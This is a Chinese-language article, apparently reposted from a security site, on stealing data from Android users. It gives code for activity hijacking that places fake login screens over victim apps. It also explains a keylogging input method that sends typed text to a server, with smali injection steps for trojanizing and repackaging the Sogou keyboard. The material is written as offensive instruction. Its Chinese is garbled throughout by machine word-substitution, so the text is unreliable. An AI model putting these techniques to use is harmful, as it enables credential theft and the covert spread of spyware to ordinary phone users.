0×01 我们能获得哪些android手机上的app敏感信息
手机上的app敏感信息
通信录,通信记实,短信
各类app的帐号暗码,输进信息资料等
各类影音资料,照片资料
等等
0×02 我们有哪些编制可以获得他们
通信录,通信记实,短信,这类信息需要我们的歹意apk在安装时申请大年夜量敏感的权限,好比说
一个典型的联系人信息权限,这里需要在建设文件中声明,不然没法拿到
各类app的帐号暗码,输进信息资料等,这些信息在非root景象下,很是难以获得
假定要强行获得大年夜致有三种编制
–a.栈劫持,完全代码见附件一,下面给出示例代码
b.–部门apk会将敏感信息存进sd卡中,这里claud讲过,我就不说了
c.–部门apk的建设文件读写权限设置不当,这个比较少
–别的:我们可以把驰名的apk文件重打包后再次发布,例如我们点窜QQ的apk文件后再发布。
0×03 栈劫持核心代码
ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE ); List appProcesses = activityManager.getRunningAppProcesses(); //列举过程 for(RunningAppProcessInfo appProcess : appProcesses) { //假定APP在前台 if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { //APP是不是在需要劫持的列表中 if (mVictims.containsKey(appProcess.processName)) { if(UILogin.started == 0) { Intent UIIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName)); UIIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplication().startActivity(UIIntent); UILogin.started =1; }长处:不消点窜方针apk,可以奇妙的棍骗用户的账户暗码
错误谬误:劫持到的界面在棍骗了用户暗码后,没法顺利进行下一步登录,
从而致利用户会心识到不合弊端劲(除极少数环境,我们弹出的界面可以把用户暗码交互给正常的apk界面)
0×04 Android的apk重打包的优错误谬误
略
0×05 思虑别的编制
这应当是一个非root便可以操纵的手艺 这应当是一个低权限的手艺 这应当是一个通用型的手艺 如许该是一个不容易被发觉的手艺 思虑下,在android中apk之间是根基尽缘的,那有甚么可让我的apk拜候到别的apk的敏感资本呢
在ios中,不逃狱的环境下,为甚么不承诺装第三方的输进法,这里是不是是隐含着一些缝隙呢!!!
0×06 Android输进法的机制-流程
输进法利用是具体措置用户输进行动的利用法度。为了可以或许在Android的输进法框架中杰出的运行,所有的输进法利用都需要继续特定的service。 Android平台的输进法框架为输进法利用定义了一个基类InputMethodService。InputMethodService供给了一个输进 法的尺度实现。定义了输进法生命周期内的首要函数,供给给开辟人员进行响应的措置。
a. 当用户触发输进法显示的时辰(客户端控件获得核心),InputMethodService启动。起首调用onCreate() 函数,该函数在输进法第一次启动的时辰调用,适合用来做一些初始化的设置,与其他service不异; b. 调用onCreateInputView()函数,在该函数中成立KeyboardView并返回; c. 调用onCreateCandidatesView()函数,在该函数中成立候选区实现并返回; d. 调用onStartInputView()函数来开端输进内容, e. 输进结束后调用onFinishInput()函数来结束当前的输进, f. 假定移动到下一个输进框则反复调用onStartInputView和onFinishInput函数; g. 在输进法封锁的时辰调用onDestroy()函数。
0×07 Android输进法的机制-细节 (重点)
a.在InputMethodService中,有几个值得寄望的编制或类getCurrentInputEditorInfo() 这个别例可以获恰当前 编纂框的一组对象属性EditorInfo,他有以下的关头属性 EditorInfo .hintText顾名思义即为编纂框的默许值,这个是很关头的一个属性. EditorInfo .packageName是指这个控件所属的apk的包名,好比说手机qq中的所有编纂框的packageName都是com.tencent.qq b.getCurrentInputConnection()这个别例可以获恰当前的编纂框的一个InputConnection对象,而这个对象则有多个强大年夜的编制可以调用 commitText(CharSequence text, int newCursorPosition),很关头的一个函数,用来向编纂框写进值getTextAfterCursor(int n, int flags) getTextBeforeCursor(int n, int flags) 顾名思义,便是获得输进框中的字符串,n代表读取多少位,flags设为0
0×08 Android输进法的hack手艺
我们可以本身实现一个输进法,在输进每个字符的时辰记实,最后在onFinishInput编制处把输进框的值发 送到办事器往可以见教例代码2中,操纵android示例代码SoftKeyboard点窜的间谍apk,
此中在他的源代码中只改动了两处
handleCharacter 编制最后加进SoftKeyIcefish.postInfo(this);
onFinishInput编制加进SoftKeyIcefish.start();
0×09 Android输进法的-重打包搜狗输进法
经由过程sougou的建设文件可以发现关头的阿谁InputMethodService类即为
com.sohu.inputmethod.sogou.SogouIME.smali
打开这个文件搜刮committext,然后在每个这个后面加上
invoke-static {p0}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->postInfo(Landroid/inputmethodservice/InputMethodService;)V
即为SoftKeyIcefish.postInfo(this)
查找onFinishInput() v
第一行加上
invoke-static {}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->start()V即为
SoftKeyIcefish.start();
Apktool b打包,签名,测试
0×10 测试结果,评论
图片见
操纵对输进法的重打包,来实现盗取用户信息的编制,长处在于权限要求很是之低,只要求一个收集权限便可以盗取各类各样的用户输进信息了,而反不雅各类输进法 他们本身申请的权限已很是之高了。并且盗取的信息中包含的hinttext和包名又可以便利的帮忙我们定位到具体的apk和输进框信息
0×11 具体内容见ppt附件
http://pan.百度.com/share/link?shareid=134386&uk=3204812497
摘自中国云安网(www.yunsec.net) 原文:http://www.yunsec.net/a/security/wireless/2012/1112/11902.html